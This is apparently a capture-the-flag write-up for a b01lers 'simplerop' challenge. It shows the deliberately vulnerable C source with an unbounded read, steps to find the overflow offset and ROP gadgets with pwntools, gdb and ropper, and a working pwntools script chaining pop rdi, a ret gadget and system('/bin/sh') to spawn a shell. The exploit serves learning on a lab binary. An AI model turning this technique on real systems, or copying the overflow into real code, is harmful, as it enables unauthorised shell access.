Context

The matrix requires a more advanced trick this time. Hack it.

We are given two files : simplerop the binary and simplerop.c : the source code

As the name suggests, it’s a basic ROP : my first ROP in CTF (´∀`)

There’s not much security : no canary and no PIE.

Here is the source code :

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

char * binsh = "/bin/sh";

int main() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    system(NULL);

    char * shellcode[0];

    printf("Unfortunately, no one can be told what the Matrix is. You have to see it for yourself.\n");
    read(0, shellcode, 64);
}

Solution

The vulnerability lies in the read.

We want to execute a payload like system('/bin/sh')

First, we have to find the padding where we overwrite $rsp :

Run cyclic(100) from pwntools and give the string to the binary in gdb, you will find the offset to $rsp with the pwntools function : cyclic_find()

We found a padding of 8 bytes

By disassembling we found the system address because there is a call to system in the main function.

And with gdb we found the address of ‘/bin/sh’ :

search-pattern "/bin/sh"

Let’s find a “pop rdi; ret” gadget with ropper :

ropper --file simplerop --search "pop rdi"

We have a last thing to search in the binary, it’s a “ret;” gadget; in order to align the stack.

Why do we have to align the stack? ⊙▂⊙

Read this beautiful ressource and you’ll know (▼▼) : beautiful ressource thanks voydstack for sharing

Now that we have the ret gadget here is the payload’s script :

from pwn import *

### Gadget 
gadget_pop_rdi = p64(0x0000000000401273)
gadget_ret = p64(0x000000000040101a)

bin_sh_addr = p64(0x402008)
system_addr = p64(0x401080)

padding = b'A' * 8
payload = gadget_pop_rdi + bin_sh_addr + gadget_ret + system_addr

# target = remote('chal.ctf.b01lers.com',1007)
target = process('simplerop')
target.sendline(padding+payload)
target.interactive() # WIN ! 。^‿^。